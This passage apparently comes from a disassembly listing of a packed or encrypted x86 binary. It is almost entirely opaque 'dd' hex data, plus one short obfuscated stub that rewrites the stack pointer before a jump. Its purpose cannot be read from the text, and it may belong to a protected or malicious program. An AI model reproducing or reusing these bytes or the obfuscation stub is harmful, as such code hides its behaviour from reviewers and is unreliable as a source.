		dd 0F07E683Ch, 1756D706h, 8C000002h, 8E35CA5Bh,	872EC362h
		dd 8229BE59h, 7E25BA53h, 8A25BA4Bh, 0F184B772h,	0ED88B55Ch
		dd 0E47FB158h, 0DD78A84Fh, 1F0D7B48h, 4396EFAEh, 2C10E2F9h
		dd 0FF71A0F9h, 0DDDA5D9h, 30D76Ch, 0DAE4977h, 820A0678h
		dd 9B44F48Ah, 0A2E8D26Dh, 47A30120h, 39E2784Bh,	6C856F0Ah
		dd 9CE133A0h, 4DD06043h, 0D3D22430h, 42287347h,	0C6225A8Eh
		dd 56E03B25h, 0B61B4590h, 0DC971Fh, 2CFB0000h, 3BC269FCh
		dd 0FAC66D08h, 49A3EF44h, 780DA8D8h, 5F06A1D1h,	0A0362EB6h
		dd 0A2CEC4B2h, 2E740F47h, 0FE731EB8h, 0A617059Bh, 0F1439C8Ch
		dd 3AE87D1Eh, 0A7D65F91h, 2DCE670Eh, 6957ED86h,	439C8BF8h
		dd 63867043h, 9D4DE3DBh, 572BC6F4h, 439C8BE6h, 6C745E31h
		dd 94F0D97Eh, 2BC19441h, 20B64F82h, 0E0118270h,	0C15C3D92h
		dd 3C0FA787h, 0E049EA50h, 400EAB4Eh, 0F7FEE8B0h, 66961D50h
		dd 0E4582ECFh, 0D6F07F05h, 11026A7h, 54850000h,	59852CC1h
		dd 548229BEh, 4E7D24B9h, 44771EB3h, 69811CB1h, 55EA7BAEh
		dd 4FE481AEh, 46DB76A8h, 43D86F9Fh, 0A91A0876h,	0F44396EEh
		dd 0F92C0BDDh, 0FD29D268h, 0F20E7F6Dh, 865949A3h, 0FA53EE5h
		dd 0A3F2B021h, 3E28FB49h, 0C5609037h, 0FC2CBE30h, 0B3BC269h
		dd 860ED76Ch, 490AF88Eh, 0F447979Dh, 0C3F37A21h, 0E666665Ch
		dd 4BEC8BA4h, 0AF5808B6h, 9E0FE382h, 0E94396F9h, 0BB5CF528h
		dd 0C269FC2Ch, 0E3E3F29h, 0AE04D077h, 857A4861h, 7D3CC245h
		dd 8C02849Ch, 4FF947A2h, 45F3881Fh, 2D116C9Ch, 0C03F4D67h
		dd 0DBDCC667h, 59EC1EABh, 0DA8311B8h, 0CE670EA7h, 19B4E3E4h
		dd 59BCEB72h, 1678E5CEh, 0F69D3EC7h, 1AA93C6Fh,	0F6A74EE7h
		dd 0C033F33Dh, 0BB2C1ACAh, 603E4B4h, 20EE4933h,	9A2FC6F6h
		dd 51B93CECh, 0F137B96Eh, 0AE32A377h, 0AA7D03E4h, 0F88FBFC0h
		dd 0EA1AC351h, 210BA44Bh, 0D26h, 75259C00h, 0A3F21687h
		dd 0A48E6149h, 0FB2CF3D5h, 0C3CC36Ah, 194BD279h, 2350D77Eh
		dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
		dd 566711B8h, 0C681E689h, 4, 5604EE83h,	42474FFh, 24048F5Eh
		dd 131E685Ch, 14890000h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 0CF67F68h, 24148B06h, 5404C483h
		dd 81242C8Bh, 4C4h, 8B95100h, 1000000h,	0BB53E9h, 1000000h
		dd 5B1389CBh, 2434FF59h, 4C4835Dh, 5A2434FFh, 4C481h, 38E90000h
		dd 65FFFA77h, 12047710h, 54D8E7F7h, 22D73B32h, 0D05DCB8h
		dd 0FFC50306h, 7E22F6E0h, 0B2A9F220h, 0BA46B7Fh, 5B5FC535h
		dd 0E23F5765h, 1530EE20h, 2EA0E33Bh, 9F929014h,	0BDBD5415h
		dd 7FF4A66h, 1C75A24Eh,	2509D65Ah, 0D631CA22h, 3CFDAA6Eh
		dd 5C14E36Ch, 8B6E6C4Ch, 18CB3660h, 453A2125h, 1B84448h
		dd 672AAF61h, 4103E552h, 7277BF3Fh, 7AB1A76Dh, 0BDC50B50h
		dd 0EEBDC74Fh, 10361859h, 506BEA54h, 0F7378061h, 6E04EB03h
		dd 0E94E8EAAh, 553h, 0F2871E4Fh, 0EB801F4Bh, 0E67B1644h
		dd 0E075103Fh, 0D66B0639h, 3568233Bh, 3360079Ch, 2C5E059Ah
		dd 2D5D0499h, 0CA38059Ah, 96EC6BDCh, 919FB643h,	781FBAE8h
		dd 0EC8BFCEAh, 3D64396h, 25AC7862h, 0FA87F275h,	0A7D37FEFh
		dd 0A34562D3h, 0F0DAAD49h, 8128BFEFh, 992EC7FAh, 7C23C2F2h
		dd 1244C5F5h, 9E3FD87Fh, 0A94470F7h, 7BFE3E02h,	659C5FAAh
		dd 2917ADD9h, 49A3A2B8h, 0EB463003h, 36C3F35Dh,	2CC56C09h
		dd 33DA6D9Dh, 0B664F99Ah, 0EAD57C33h, 0CDB79A57h, 72079ACCh
		dd 57FE99CBh, 2715A3D0h, 49A32AB6h, 882FCEFAh, 0F39467EFh
		dd 68EBE14Ch, 0FAB4FE14h, 0DD38223Ch, 20B3E553h, 21B4E48Bh
		dd 0CA40AE7Ah, 0CF2849A3h, 0E8567F41h, 0ED7019AEh, 0B2323250h
		dd 5EFC1696h, 83ECDB6Ch, 5704F8E2h, 68000000h, 0C269FC2Ch
		dd 0A3F28BF6h, 8166F49h, 0AEC00FC6h, 1CD19h, 2C310000h
		dd 37BE6500h, 3EC56C0Bh, 48CF760Fh, 4DD47B16h, 47E0871Ah
		dd 48EF8AB8h, 0D450DE97h, 76AB7508h, 1B05A0CDh,	6C5AEE1Ah
		dd 49A3F1FBh, 3DD27346h, 0B54C0C8Fh, 3F0D172Ch,	91245455h
		dd 0A2258AFCh, 0E0D37F73h, 63644EA9h, 4FFF9530h, 0A31EF061h
		dd 7E683B49h, 13B2DE65h, 0DA8D47Dh, 0A0590A23h,	0C9F8A196h
		dd 12454630h
		dd 1343EA7Fh, 1F20917Fh, 986B49A3h, 9BC950F7h, 2BBB5900h
		dd 10B75682h, 0E4328D77h, 0AF9103E2h, 7DF919h, 2C5D0000h
		dd 0BD4B7AF9h, 0A3F25ECFh, 35D6A949h, 3866ED94h, 9F32F69Dh
		dd 0E174A791h, 0DF72A54Ch, 0E782B138h, 0E079A851h, 6B5A077h
		dd 16004358h, 0AD4876FDh, 0B6517F06h, 0CD5BA40Fh, 7EC8AB51h
		dd 0AF5F6D78h, 628F19h,	2CF30000h, 4FD268F9h, 3E0A3164h
		dd 8E7C1248h, 49A3401Dh, 92AB9568h, 0A83ED90Bh,	8A70C825h
		dd 0FA89E0C5h, 0ED862DC8h, 927AEA03h, 321CB7E9h, 0ACDF49D7h
		dd 2C128419h, 0E8477700h, 4F3DBE8Dh, 4FF6973Dh,	58FF9AC8h
		dd 0D67D1EBFh, 0A3AC9C0Ah, 1D2B8449h, 0AF05FADBh, 6E019h
		dd 5F080000h, 0E0AC9631h, 0C7507C25h, 0C0590097h, 0F5DF781Fh
		dd 842BC6F4h, 204CCDFDh, 0A54EE485h, 0D8F1DB76h, 2C1A246Dh
		dd 5CE63FEh, 1EF857Dh, 47A30987h, 0E1CC07A2h, 765F2AC2h
		dd 0A18F3FD5h, 439CCC30h, 0A5BEA87Bh, 8796717h,	53439CCCh
		dd 65959680h, 66963DD2h, 609039CFh, 9EBD1EC5h, 1455005Ah
		dd 59725CFDh, 0BC2D1BCBh, 7439C64h, 3FB09E34h, 8A439C64h
		dd 1C87CDB7h, 73439C64h, 1040EE38h, 412FDF75h, 439C64D0h
		dd 8E275A1Bh, 55FC03EDh, 64EB9225h, 620BA134h, 53EC9332h
		dd 9BC95069h, 64AC1D0Bh, 24F7439Ch, 2255DC83h, 0C04FE88Fh
		dd 9F50F792h, 0BCEE58E6h, 48E98229h, 0DE48D68Fh, 838217AEh
		dd 1FB64E52h, 13E88h, 352DB000h, 0A0C952Ah, 0A501C06h
		dd 44F48A82h, 0F235A694h, 0AD8049A3h, 0F9CF7DC3h, 0C79A47A2h
		dd 0B7E99220h, 46DC751Ch, 9CE8E758h, 755F3243h,	0E6E94474h
		dd 2E6D60F6h, 11744CB5h, 4BFFE3D4h, 3E6E15AAh, 497900A7h
		dd 3D6F18AEh, 0F6A7C0AAh, 1545F33Dh, 0E7EEED82h, 0F51FB630h
		dd 3Eh,	8F830A59h, 872250F9h, 62E5959Dh, 4F950531h, 97DDC763h
		dd 49A3D276h, 0DBA74E21h, 49A3D16Ah, 0A373BD8Eh, 0A492281Ch
		dd 49A3D183h, 25C65B2Eh, 0ABh, 0A85DDC5Fh, 475C1FFDh, 820A915Dh
		dd 9406F48Ah, 0D147A2EEh, 8249DE4Eh, 281D7839h,	8889F209h
		dd 0E6E0CA2Eh, 0B5E56C13h, 902ED85Ah, 6E04671Ch, 9C160F80h
		dd 0E6875A43h, 0DC7BA750h, 8339C35h, 4AD96EE9h,	0ED949B85h
		dd 0B7832ABDh, 439CC1FFh, 73DD6BA6h, 460FA443h,	758DFEBEh
		dd 0AC5F8211h, 15C5750Bh, 9C2DB627h, 442E0143h,	91275DFEh
		dd 8E350841h, 9940D707h, 0A047E612h, 0AB52ED19h, 37F741FAh
		dd 61AD7BC4h, 9B4BE1D9h, 8027C6F2h, 9132CDF9h, 1FC061A7h
		dd 0AD5D3B84h, 821F4EBFh, 0C3629237h, 847E683Bh, 25AA1CB1h
		dd 11B8497Ch, 0E36B8E78h, 85204DF6h, 0A3F240B1h, 17B88B49h
		dd 12ABD881h, 91322028h, 3C4798ECh, 0B3BC269h, 0A629D76Ch
		dd 7B9A33B6h, 0C8C9B32Ah, 8A56FD98h, 0B18A932h,	0EE1CC505h
		dd 1C082A8Bh, 57F88530h, 1A04126Dh, 0FB64BEAh, 13A148DFh
		dd 0F3047563h, 1A48FB11h, 0B73FD87Fh, 0CAF9FAE4h, 0D6771241h
		dd 0AD7BC42Fh, 1FB45383h, 6AD4878h, 0C85h, 405EFB00h, 2AF2A8BDh
		dd 0F4DE2F32h, 6AFB2C28h, 790C3CC3h, 7E194BD2h,	8A2350D7h
		dd 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah
		dd 89576711h, 4C781E7h,	83000000h, 3C8704EFh, 3C895C24h
		dd 514B6824h, 2C890000h, 66536824h, 14890000h, 0B8505724h
		dd 30F9637Ah, 0E4EE7C2Dh, 58C7891Ch, 197223BDh,	5FFD3112h
		dd 24148B54h, 4C481h, 89570000h, 87A89EFh, 83243C8Bh, 148B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_544543
; ---------------------------------------------------------------------------
		db 8Dh,	5Fh, 0B8h
		dd 60D0BBFh, 0E0FFC503h, 74AC208h, 3337A9F8h, 32207B5Ah
		dd 9C15057h, 6686C31Dh,	7AFE7A0Ah, 7546E79h, 39E5C7C3h
		dd 6A8BDA78h, 41763C9Dh, 159F7686h, 246BDAD1h, 41077D71h
		dd 248420CCh, 0AE8h, 9A8C4200h,	6F0FD98Bh, 0F482BEEh, 665AF6BFh
		dd 81F0F7B8h, 5ABCC2h, 0FE96000h, 45000000h, 0F344357Eh
		dd 24A24008h, 0DA7DB862h, 0BB616F09h, 0
		dd 811334FFh, 0B785F7C8h, 8B605F15h, 6122B3DEh,	2D85C781h
		dd 6E83124h, 90000000h,	81DD5202h, 0E88166BFh, 815874A0h
		dd 0BA50F8C7h, 6CB96600h, 31F781E5h, 66248910h,	3C7AD981h
		dd 5E957h, 0A0F50000h, 8FD1102Fh, 0FF91A04h, 78Eh, 0D48A6000h
		dd 61F38B66h, 0F03EB83h, 189h, 514BF500h, 0FB8158F5h, 0FFFFA5F8h
		dd 0FF8E850Fh, 800FFFFFh, 0Dh, 820F60h,	0BB000000h, 293003A9h
		dd 3104EB61h, 0E94A680Ah, 55Bh,	8E23C2F3h, 871CBBE7h, 8217B2E0h
		dd 7C11ACDBh, 7A0FA2D5h, 0D90CC7DFh, 0DF0CB348h, 0D80AB146h
		dd 0D101A83Dh, 66D4A136h, 96E50778h, 693B5243h,	0C269FC2Ch
		dd 0D86D083Bh, 0D0660131h, 0F2C13220h, 390C49A3h, 7FAF364Fh
		dd 63CF52E8h, 0B819034Fh, 271B277Dh, 690A190Ch,	0B3DF667Fh
		dd 16A96D14h, 57EE1E08h, 3E6B14C2h, 82B4B59Fh, 9239D401h
		dd 1CC358F9h, 29B057EAh, 0CEBC6CFCh, 49A3DF5Dh,	9001D5A8h
		dd 0DB49A3DFh, 55C06708h, 0E214020Ch, 0E313BA4Fh, 63D19D44h
		dd 4B49A3DFh, 33A224F2h, 9519AED3h, 0D386F7E5h,	0D5C349A3h
		dd 49A3D364h, 8154DCAFh, 76A397h, 2C070000h, 0B24D7BFCh
		dd 339E6A11h, 1749A3F2h, 947C8E11h, 0D1E449DCh,	3C828CE7h
		dd 19AF1C99h, 0BD58862Fh, 1DFD3h, 25430000h, 94C7507Ch
		dd 20C15A01h, 0DCC66191h, 6910AFDBh, 8117B6E2h,	0C23321D1h
		dd 0D49A3F2h, 0F1F5663Ah, 6D4049A3h, 0B4E36A83h, 0BC5DF82Bh
		dd 70BE5115h, 66FB9AC6h, 16308FBFh, 26D276A8h, 0C447DD7Eh
		dd 7834F3D4h, 0EA83B265h, 0E6585F49h, 5CA0F92Ch, 0D0E3FCB2h
		dd 55E38A2Bh, 6BBB0BD2h, 442EF2E0h, 0D1781743h,	6FD96720h
		dd 6D14A93Ch, 7C03AA3Dh, 741DB34Eh, 0ABC4AE47h,	2B1C2A0Dh
		dd 0EB195BA8h, 0D768B18h, 33569EF4h, 18715B46h,	19AEFCCDh
		dd 932Fh, 0F92C9300h, 8A33C168h, 0D0D1BB5Ah, 9C6007A2h
		dd 0DE113F09h, 739F2855h, 0F3942DD4h, 0AD28EB4Ch, 381EF09Eh
		dd 0B060F697h, 0A39E51C2h, 0DFC99C49h, 75FE31D8h, 680FB043h
		dd 7017B2E1h, 9F21EFD2h, 19AF1246h, 67B4h, 0A2251800h
		dd 0A8D56F5Bh, 64CD660Dh, 98275BEFh, 8C25CC65h,	0D36EA1A2h
		dd 0E073A52Ch, 0E171A14Ah, 0A3ED82F3h, 59FACD49h, 162F19B2h
		dd 6CDD6BA6h, 160494C3h, 49A3EDA5h, 927C1DF0h, 0A8D55E91h
		dd 1889770Dh, 6349A3EDh, 0E85AEF90h, 0BE65002Ch, 0A3F284F2h
		dd 0BD666C49h, 0AE09F38Eh, 0C0775E60h, 16519AEh, 0C9000000h
		dd 806EFE2Ch, 49A3F20Fh, 711E875Ah, 0A244D584h,	9F26CD6Eh
		dd 21BCEA6Fh, 8DFEEC7Ah, 0D849A30Fh, 1CC36405h,	69DE68B1h
		dd 0F5ACBB9h, 0D2A549A3h, 1EB9E7E8h, 4038C089h,	34CF01AAh
		dd 20AF48Dh, 0A2269A14h, 3BE2B547h, 5BF184B4h, 0F64CBDABh
		dd 0D697439Bh, 836D0EA7h, 0F225CE7Ch, 4474755Fh, 0DE0A6CE9h
		dd 0D97A272Eh, 99FB6632h, 83B439Ch, 0FB6517Fh, 0A72ED576h
		dd 0CB36DD78h, 78B482h,	9DCD7BC5h, 9ECE750Ah, 14EE7107h
		dd 9356742Ch, 74FB14FEh, 830AB144h, 8A11B857h, 571BC25Bh
		dd 0D7C57AC4h, 439C1066h, 843DDEB1h, 219B9B1Eh,	73DC77A5h
		dd 0EBD53BA9h, 68988690h, 9C3938CDh, 2A1FB5C2h,	8E0EB8A7h
		dd 2E634303h, 35F76063h, 3F7E1B6h, 0FCh, 8A820A67h, 0FA5806F4h
		dd 502347A2h, 53F222A9h, 50E717BEh, 53F222A9h, 0F442FBACh
		dd 68B31A4Ah, 6F85CEA6h, 8D8F05E9h, 0F7E81F24h,	25F3418Eh
		dd 51F2E928h, 1318BDBCh, 0FEAE1FB6h, 9C939F10h,	2D17EA43h
		dd 4139h, 830A9D00h, 0EA0BF98Fh, 9549A3F2h, 0F26EDFCDh
		dd 0E6B949A3h, 61D29E45h, 8549A3F2h, 139A6AB4h,	0C7680331h
		dd 0C25B8831h, 0C1E2D0D8h, 6C49A3F2h, 65530399h, 49A3F1F4h
		dd 7B826C3Fh, 73DAh, 7C255000h,	7912B94Ch, 0FEE46C8Fh
		dd 0E15240D0h, 2C49A3F2h, 8117B859h, 0CD08C9FEh, 0C4AEBE84h
		dd 0BA5CCEBCh, 0E99947A2h, 0A0740D40h, 439CBA2Fh, 0C3BDA77Ah
		dd 9233D202h, 842353FCh, 415A44DDh, 56EB8ABAh, 41E87FAFh
		dd 9CB9BD75h, 1F296443h, 0D1660131h, 0F2888008h, 91BC8704h
		dd 38DFB241h, 3FE681B1h, 71BD8BD4h, 6D5BF1E9h, 3B84AEF0h
		dd 41B3481Bh, 0F48A820Ah, 98F58906h, 0C4F3B447h, 0C9700F3Bh
		dd 47EE8F30h, 0AA1B09B9h, 0F54396E5h, 7373822h,	434DB70h
		dd 38EA0EA9h, 0D2730B3Bh, 97765F2Bh, 0DA6D0773h, 13B2E24Ch
		dd 3220D07Eh, 0F73167C1h, 7BAA390Ch, 0B8A23BE2h, 49F087B7h
		dd 53FA93C2h, 0A7919FE8h, 0A44BE077h, 2AC5F374h, 0A249EA83h
		dd 1D21h, 7C259700h, 29DCB4Ch, 7A21C25Bh, 0A28F7E1h, 0EB245B87h
		dd 184BE5D5h, 9C3DD67Dh, 0FB2CE6B2h, 0C3CC36Ah,	194BD279h
		dd 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h
		dd 57830AB1h, 536711B8h, 0B850E389h, 45AD6658h,	4BC13548h
		dd 6C2D4C6Eh, 5211756h,	62B95631h, 51646625h, 24463514h
		dd 0C3010041h, 4EB8358h, 5C241C87h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 0B168240Ch, 89000079h,	68552434h
		dd 16D0EE8h, 17F5815Dh,	0F7662327h, 0C8ED81DDh,	8992A4C8h
		dd 242C8BE9h, 4C481h, 3E680000h, 89000010h, 4832424h, 685E0424h
		dd 62D8h, 0B8240489h, 8, 889F001h, 24348B58h, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 0FF5C2434h, 83592434h, 0FCE904C4h
		dd 0EFFFFA6Ah, 53CF4716h, 0CCBAAAEBh, 0B897BF95h, 60D11DCh
		dd 0E0FFC503h, 2DA78175h, 6B6E69Eh, 4F3383D0h, 15F58920h
		dd 7C7BF76Eh, 366863A0h, 679776Eh, 5070E320h, 17DE9h, 0FE5D6000h
		dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh
		dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh
		dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh,	0E56D599Ch
		dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh
		dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh,	43h dup(0)
		dd 0D1F80000h, 0DA43736h, 0E699D3C2h, 0F8E94D96h, 6800000Eh
		dd 60D1633h, 0FB2D5BE9h, 172768FFh, 51E9060Dh, 68FFFB2Dh
		dd 60D18A9h, 0FB2D47E9h, 196F68FFh, 3DE9060Dh, 68FFFB2Dh
		dd 60D1A82h, 0FB2D33E9h, 1B2668FFh, 29E9060Dh, 68FFFB2Dh
		dd 60D1BBDh, 0FB2D1FE9h, 1C4968FFh, 15E9060Dh, 68FFFB2Dh
		dd 60D1D87h, 0FB2D0BE9h, 1DE668FFh, 1E9060Dh, 68FFFB2Dh
		dd 60D1E8Eh, 0FB2CF7E9h, 1F3368FFh, 0EDE9060Dh,	68FFFB2Ch
		dd 60D1FCCh, 0FB2CE3E9h, 20C268FFh, 0D9E9060Dh,	68FFFB2Ch
		dd 60D21B1h, 0FB2CCFE9h, 0A4736CFFh, 41140BD2h,	0DFB0A86Fh
		dd 7754460Dh, 13E8DEA5h, 0BA2E6F41h, 561DEFC4h,	0EFB68863h
		dd 895022FBh, 0D2EBBD94h, 0B85EAB95h, 16578024h, 6C514618h
		dd 31CD3582h, 0E02D1786h, 0D98631CCh, 825132F8h, 886D6237h
		dd 31CC519Eh, 0F2425286h, 0B3BF7905h, 0D9AB7A49h, 0E5B4502h
		dd 786319Ch, 145F3028h,	424B6E3Dh, 745E3B29h, 8C38B6F0h
		dd 0C0958A69h, 0D924F3CCh, 0B67257D3h, 3C0B1A79h, 0EBE3906Dh
		dd 4254F71Ah, 802A29F1h, 0D41FF6EBh, 0E6310CFFh, 57451C11h
		dd 0ECDE9EE6h, 310A2383h, 0A9F169C1h, 28h, 5DC962E1h, 0E6C39267h
		dd 0B2857C29h, 0DE112D8Fh, 27088C38h, 0BB79CADCh, 0E54E802Ah
		dd 56936C9Dh, 0D50BF16Ah, 43000000h, 2F7A5146h,	448F645Ah
		dd 0ECA0815Fh, 0D6CD481Bh, 0C2998EB3h, 0D6ADA277h, 0CADC1BF9h
		dd 0B9671543h, 312682CFh, 0D3A28386h, 38286B0h,	7D86312Ch
		dd 18DFB188h, 7543E23h,	86312Bh, 2005501Fh, 2B2C7963h
		dd 4C2D8631h, 190B2029h, 4A7E523Ch, 28178C38h, 2A0FF13Eh
		dd 4211F280h, 0F7EC9970h, 0DBFED520h, 0EECB59D2h, 33BD7304h
		dd 8BE4F486h, 6975E61Ch, 0A65330FFh, 4209DBB0h,	0E6C0774Ch
		dd 289DFD72h, 0C4A519Bh, 1A130000h, 0BBB2794Bh,	574F16E8h
		dd 0FBEDB486h, 8F854C1Eh, 0D516E8BAh, 0C4966B61h, 5D2F0AFDh
		dd 0F7C9A296h, 92643B30h, 5523C79h, 0FE8024B7h,	5046BFBDh
		dd 0EDE2A97Bh, 9E7C3916h, 0DF2D89C6h, 3A8791CFh, 3B863178h
		dd 550D375Ah, 7E5BC962h, 5379D4A0h, 8EB1C01Bh, 0B9536F59h
		dd 43328C38h, 2A990C59h, 5D2C0D80h, 8C802D12h, 6E9168B3h
		dd 2A98BB0Ch, 0DF279080h, 6A33D5AEh, 0BB4DF1h, 0B9660000h
		dd 0ABF8E2C1h, 0AC802AA4h, 0C3D9FCCBh, 8A7C5146h, 0BE93DEADh
		dd 0AEFBE5C8h, 0A78631CCh, 0CC81CEB8h, 0A1828631h, 0A6B803D2h
		dd 8631D127h, 83552C21h, 0A5F0C7BCh, 8E57FECh, 38E84A1Eh
		dd 5956348Ch, 0E5FFBC95h, 6F506E91h, 0EB79F29Dh, 9082240Eh
		dd 96778633h, 41160CB9h, 0F6EB986Fh, 0A552C21h,	1C416433h
		dd 169A5126h, 0C9DFD74h, 0B56357Fh, 261F0000h, 0C7BE8557h
		dd 635B22F4h, 7F9C092h,	9B91582Ah, 0E122F4C6h, 0D0A2776Dh
		dd 693B1609h, 3D5AEA2h,	9E70473Ch, 115E4885h, 128024B6h
		dd 5046D3D1h, 0EDE2A97Bh, 8F6D4416h, 0DB7D051Ah, 0BE8F87CDh
		dd 0AACD9C73h, 7A514694h, 0A79D4A2Fh, 0BE0BF5D2h, 0B78631CCh
		dd 998EB3D6h, 2645F0C2h, 5C3BF90Fh, 9564CDBAh, 0B73ACEB8h
		dd 0FCDB8C38h, 0BE22D0Ah, 8EDFF13Ch, 63802A96h,	0D8250FCCh
		dd 0D1802A96h, 7EC6CDF0h, 6A31744Dh, 6CECF1h, 58050000h
		dd 6A418C63h, 0C9623147h, 0BC947E5Bh, 0DD8C38D8h, 4E9FB1FCh
		dd 23802AC1h, 68416ABAh, 4BF16A58h, 0AFD2A99Eh,	410Fh
		dd 867B2800h, 6A8D64AFh, 5BC96254h, 6AE3C17Eh, 2CFFF630h
		dd 8D55062Eh, 744A53C7h, 14370614h, 382FB6B2h, 63AE8F8Ch
		dd 2A280051h, 146CD580h, 0DCB5A956h, 0FF97BA91h, 0F169C326h
		dd 79Eh, 0D4D1D600h, 0F9000007h, 0BF928936h, 8C98939Ch
		dd 0E0A7C5AFh, 81628C3Eh, 2B02F7A4h, 0C69D9259h, 0F1E9967Bh
		dd 0DBFED520h, 0EECB59D2h, 29744D41h, 3A856254h, 3C719463h
		dd 9DAD27Fh, 3990D60Bh,	0FB1E766Ch, 31910A99h, 0C9A68786h
		dd 5842271Ch, 8631700Bh, 8A5C2B0Ch, 0ACF7CEC3h,	42231AC7h
		dd 31700B58h, 5C2B0C86h, 293B3039h, 0D3AC9F4Ch,	153807DEh
		dd 7166F6E0h, 6E78C38h,	0F6836B4Fh, 0F43ECBA3h,	9D4h, 3D5A49Dh
		dd 0A072453Ch, 3E10E1D9h, 0D6A88577h, 7244190Fh, 0F5EB5FA0h
		dd 94874E20h, 2C20E7B9h, 0C5BA8153h, 0C6031CEEh, 24B48FDCh
		dd 49478880h, 31CDB809h, 0C75DCE86h, 0DED200EAh, 0B08F8C3Eh
		dd 0C49BE6B9h, 0F37823F5h, 1AD79471h, 24BAE330h, 2603E480h
		dd 24BAEF3Ch, 0E407E880h, 31CE5C82h, 5F3C1D86h,	14E6BDB2h
		dd 3681584Dh, 9976EE7Dh, 3EDE28AFh, 6B48298Ch, 20F2C9BEh
		dd 0D2A59C49h, 0EBE3B087h, 0DDD2F71Ah, 703F1008h, 99834025h
		dd 8024BA4Ch, 0E7496C4Dh, 24B998h, 0CAA7BDAEh, 2BBE68E0h
		dd 9CF4D206h, 0CD97033Eh, 15BE4745h, 772EE139h,	63573654h
		dd 0C004BB8Ah, 8A1DF9C4h, 90EB3FDh, 0DED70000h,	7F763D0Fh
		dd 1B13DAACh, 0BFB1784Ah, 534910E2h, 99DAAC7Eh,	885A2F25h
		dd 21F3CEC1h, 0BB8D665Ah, 5628FFF4h, 0C916003Dh, 0CA8024B3h
		dd 0C9628B89h, 66947E5Bh, 238C3EE0h, 44876542h,	0DB36C358h
		dd 0E390C5E8h, 7E4517EEh, 0AE67B289h, 0DCAA7BDh, 1FD752Fh
		dd 233A3809h, 3496B92Ch, 86314712h, 745143F0h, 112F5229h
		dd 0B1A65330h, 4C4108DAh, 0FA712A75h, 13D08D6Ah, 3142DC29h
		dd 0D9FCDD86h, 3E561877h, 0BEB5628Ch, 0A6C9A0EBh, 1DCAA788h
		dd 0B87F5128h, 310FECC3h, 0C2C58E46h, 0AA4D704Fh, 24104798h
		dd 58CE5D80h, 48957F62h, 41802410h, 0E5C29160h,	312291FBh
		dd 4A270886h, 0B0D3A69Dh, 2D9CE7Bh, 9F746930h, 0A085D0ADh
		dd 311D69B6h, 0BA896A86h, 44E7A0EBh, 615603E0h,	45683F8Ah
		dd 31002610h, 10F18C3Eh, 51F0CC5h, 33163E28h, 0F8D7862Bh
		dd 0DBE12C03h, 956EBEEFh, 83501F1Ch, 946BB68Fh,	2FC00EC5h
		dd 119E9DF9h, 7FBC7h, 0FCCBC400h, 996C632Ah, 370800C7h
		dd 0CFAC9E65h, 6B4036FDh, 1286C799h, 0AE75471Ch, 470EE0BBh
		dd 0E1A87A53h, 2A4315ECh, 0B2B603EDh, 6EAF8024h, 8F793670h
		dd 8631CD42h, 0A0956243h, 84A77EC9h, 48936A5Fh,	5CA77E73h
		dd 13C91942h, 3B75471Eh, 0F7716762h, 7DAh, 83D11200h, 0F9000004h
		dd 50DBFF60h, 890DF7D4h, 0F08C38D6h, 0B6B1C50Fh, 0A8533694h
		dd 80E17283h, 8953D73Ch, 3BF3DDBAh, 1AB72C41h, 3635EE39h
		dd 4E67512Eh, 3FB930A9h, 0DFD4815Eh, 7A6F3608h,	0AECECA3h
		dd 0F98672F1h, 757AFh, 58272000h, 0F5C8BF86h, 93645C23h
		dd 2B08FAC1h, 0C79C9259h, 6EE223F5h, 0AD1A378h,	0A36A3C17h
		dd 3D04D6AFh, 869F7148h, 0B2125F49h, 0D2138024h, 7A5146D4h
		dd 8F645A2Fh, 0D1912BDh, 94714019h, 3EDF52AAh, 8562438Ch
		dd 0BCDDE3D8h, 9B6537E2h, 0DC27FAF1h, 95673605h, 0F04D9CEh
		dd 391E6938h, 5D8CF7Ch,	8CD9E3BAh, 8D80243Ah, 0EB8089ACh
		dd 90B29C79h, 8986314Dh, 610ECBA8h, 744B966Bh, 60372C51h
		dd 0FBD2C78Eh, 10E5DBB0h, 0EFA88959h, 2670FD9Dh, 6C0h
		dd 0EFC19089h, 8C5E3128h, 2AFCCDC5h, 0C2947163h, 5E3005FBh
		dd 0E1D74B8Ch, 80733A0Ch, 180CD3A5h, 0B1A66D3Fh, 0B2EF08DAh
		dd 24B17BC8h, 3D3B7C80h, 7E5BC962h, 7C5DECA0h, 8F66B186h
		dd 0EAF26091h, 86A892C7h, 5C8C3EC4h, 95E0BDAFh,	0AAF5CAC0h
		dd 0C3E104D3h, 8B4805E2h, 24C454A1h, 51745580h,	6852372Ch
		dd 8024C51Bh, 9A6C3B1Ch, 0BC07DED3h, 1FFC6803h
		dd 2BD3F935h, 1A0CB986h, 1BFC1A3Dh, 0F92E8864h,	3B85129Dh
		dd 634h, 633504FDh, 0D2A59Ch, 9E704139h, 3608E5D7h, 0D2A4796Fh
		dd 554BBF00h, 0F4E7AE80h, 8C804719h, 251AE1B3h,	26637C4Eh
		dd 24B0EF3Ch, 0A9A7E880h, 2F7A5146h, 438E655Ah,	0FAA00029h
		dd 225C2E05h, 0F7716449h, 0EC1h, 8936F900h, 9D74BF92h
		dd 2C4E07Ah, 46080000h,	4A2F7A51h, 85D0A99Dh, 12E1BEB0h
		dd 0DF45E6EFh, 0E0F61802h, 0C4A38C3Eh, 0D7AEF9CEh, 815F3608h
		dd 76138898h, 0C0E50842h, 5A17F4CBh, 24422370h,	4D452480h
		dd 8B5A317Ch, 0FAF0C568h, 41E02D17h, 0F8D98024h, 0C3805729h
